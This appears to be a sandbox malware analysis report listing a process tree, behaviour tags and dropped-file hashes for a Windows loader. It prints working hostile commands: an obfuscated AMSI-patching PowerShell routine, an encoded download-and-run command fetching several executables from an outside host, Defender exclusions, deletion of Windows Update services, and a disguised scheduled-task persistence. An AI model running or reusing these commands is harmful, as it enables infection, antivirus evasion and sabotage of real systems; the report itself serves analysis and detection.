+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$QLssmUeOchRMpa).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+'M'+'a'+'n'+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$ycNGFXPjImY.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+'P'+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+'e'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+'ew'+[Char](83)+''+'l'+''+[Char](111)+''+[Char](116)+','+'V'+''+[Char](105)+''+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$OCvBelzMMh,$QLssmUeOchRMpa).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $ycNGFXPjImY.CreateType();}$WOEZvLlQEkfLl=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+'t'+'em.d'+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+'o'+'f'+''+[Char](116)+''+'.'+''+[Char](87)+''+'i'+''+'n'+'3'+[Char](50)+''+[Char](46)+''+'U'+''+[Char](110)+'sa'+[Char](102)+''+[Char](101)+''+'W'+''+[Char](79)+''+[Char](69)+''+'Z'+''+[Char](118)+''+'L'+''+[Char](108)+''+[Char](81)+''+[Char](69)+''+[Char](107)+''+'f'+''+'L'+''+'l'+'');$kgdDoLHRqBtmNR=$WOEZvLlQEkfLl.GetMethod(''+'k'+''+[Char](103)+'d'+[Char](68)+''+[Char](111)+''+[Char](76)+''+'H'+''+'R'+'q'+[Char](66)+''+[Char](116)+''+[Char](109)+''+'N'+''+[Char](82)+'',[Reflection.BindingFlags]''+[Char](80)+'u'+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+'ti'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ysrNHWzAcNvEUZKUISk=jDOIXUeZhLVG @([String])([IntPtr]);$IVCXyJykGLVpjlgbFEwins=jDOIXUeZhLVG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$sQOEvyQmMTE=$WOEZvLlQEkfLl.GetMethod('G'+[Char](101)+''+'t'+'M'+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+'H'+'a'+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+'l')));$SsingxRRHYwyxA=$kgdDoLHRqBtmNR.Invoke($Null,@([Object]$sQOEvyQmMTE,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+'y'+'A')));$pUHVgwXhDWFbbhEkl=$kgdDoLHRqBtmNR.Invoke($Null,@([Object]$sQOEvyQmMTE,[Object]('V'+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'Pr'+'o'+''+'t'+'e'+[Char](99)+'t')));$DwDeJPa=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SsingxRRHYwyxA,$ysrNHWzAcNvEUZKUISk).Invoke(''+[Char](97)+''+'m'+'s'+'i'+''+[Char](46)+''+'d'+'l'+'l'+'');$GZxwsLopeRVVTLCrf=$kgdDoLHRqBtmNR.Invoke($Null,@([Object]$DwDeJPa,[Object](''+'A'+''+'m'+'s'+'i'+''+[Char](83)+''+[Char](99)+''+'a'+'n'+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+'e'+'r')));$XtVnvOgvRI=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pUHVgwXhDWFbbhEkl,$IVCXyJykGLVpjlgbFEwins).Invoke($GZxwsLopeRVVTLCrf,[uint32]8,4,[ref]$XtVnvOgvRI);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GZxwsLopeRVVTLCrf,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pUHVgwXhDWFbbhEkl,$IVCXyJykGLVpjlgbFEwins).Invoke($GZxwsLopeRVVTLCrf,[uint32]8,0x20,[ref]$XtVnvOgvRI);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+'T'+'WA'+[Char](82)+''+'E'+'').GetValue('d'+[Char](105)+'al'+'e'+'r'+'s'+''+[Char](116)+'ag'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1184
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1204
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:828
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1328
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2404
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1488
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1596
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1480
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1376
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1660
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1784
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1924
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1800
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1932
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1944
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1272
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1992
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1732
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2168
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2360
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2368
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2576
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2684
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2648
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2696
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:1368
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3440
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3484
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:1720
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:548
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:2104
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1836 -ip 18362⤵PID:3896
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2152 -ip 21522⤵PID:1844
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:4112
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1728
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4244
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:2748
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1716
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:640
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3704
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3276
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2864
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C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1836 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:348 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:2780
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2152 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3024
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2152 -s 1406⤵
- Program crash
PID:2644
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4380
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3624
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1836 -s 1403⤵
- Program crash
PID:2572
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5064
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1496
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3028
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1504
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4704
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1404
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1384
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:224
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:2880
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2548
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4776
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4260
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:3124
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4396
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
19KB
MD55cd0f751d0114dde8343e66a93d36260
SHA1be579588df7bebb02dfaf42cf70b7837c1709b49
SHA256237416738c691c686da09b5777f083a712eac2f2948b15b404e002b0809e880c
SHA512381d06d2338c3de78c43c50bbe0e80229aa5802516b6bbdf7cd1b358441aeebb87693eca7e7e78a72567eb6c1998a02e801e72960ba6b84a0b69a94ba6d017fb
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5